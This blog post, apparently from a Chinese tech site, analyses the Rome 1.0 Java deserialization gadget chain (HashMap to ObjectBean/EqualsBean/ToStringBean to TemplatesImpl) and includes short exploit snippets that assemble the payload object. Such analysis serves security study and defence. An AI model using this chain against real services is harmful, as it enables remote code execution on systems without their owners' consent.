Javaweb安全——反序列化漏洞-Rome

反序列化漏洞-rome

核心是 ToStringBean#toString()会调用其封装类的所有无参getter方法

依赖

<dependency>
    <groupId>rome</groupId>
    <artifactId>rome</artifactId>
    <version>1.0</version>
</dependency>

调用链分析

TemplatesImpl.getOutputProperties()
Method.invoke(Object, Object...)
ToStringBean.toString(String)
ToStringBean.toString()
ObjectBean.toString()
EqualsBean.beanHashCode()
ObjectBean.hashCode()

HashMap<K,V>.hash(Object)
HashMap<K,V>.readObject(ObjectInputStream)

可见关键部分在ToStringBean.toString(String),这里会遍历prefix的所有属性的无参 getter 方法,并进行反射调用。

image-20230130012609276

上面的调用也没啥好说的

com.sun.syndication.feed.impl.ToStringBean#toString()

image-20230130012836947

com.sun.syndication.feed.impl.ObjectBean#toString

image-20230130012754630

com.sun.syndication.feed.impl.EqualsBean#beanHashCode

image-20230130012733277

com.sun.syndication.feed.impl.ObjectBean#hashCode

image-20230130012657216

hashCode()的调用在之前CC链中很熟悉了,通过HashMap反序列化触发即可。

主要是看下com.sun.syndication.feed.impl.ObjectBean#ObjectBean(java.lang.Class, java.lang.Object)构造方法。

初始化时提供了一个 Class 类型和一个 Object 对象实例进行封装。其成员变量 EqualsBean/ToStringBean 类,分别为其提供了 equalshashCode / toString方法。

image-20230130013156899

exp

写起来也很简单,直接套两层ObjectBean即可

//获取恶意TemplatesImpl对象
TemplatesImpl obj = SerializeUtil.generateTemplatesImpl();

ObjectBean innerObjectBean = new ObjectBean(Templates.class,obj);
ObjectBean extObjectBean = new ObjectBean(ObjectBean.class,innerObjectBean);

Map expMap = new HashMap();
expMap.put(extObjectBean, "test");

不过这样写会有触发两次且有点臃肿,可以直接通过反射设置里面的类属性。

即通过反射设置EqualsBean#_objToStringBean,直接去调用ToStringBean#toString()去掉了中间的ObjectBean#toString

TemplatesImpl obj = SerializeUtil.generateTemplatesImpl();

ToStringBean toStringBean = new ToStringBean(Templates.class, obj);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class, toStringBean);
ObjectBean extObjectBean = new ObjectBean(String.class,"test");

Map expMap = new HashMap();
expMap.put(extObjectBean, "test");
SerializeUtil.setFieldValue(extObjectBean,"_equalsBean",equalsBean);
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值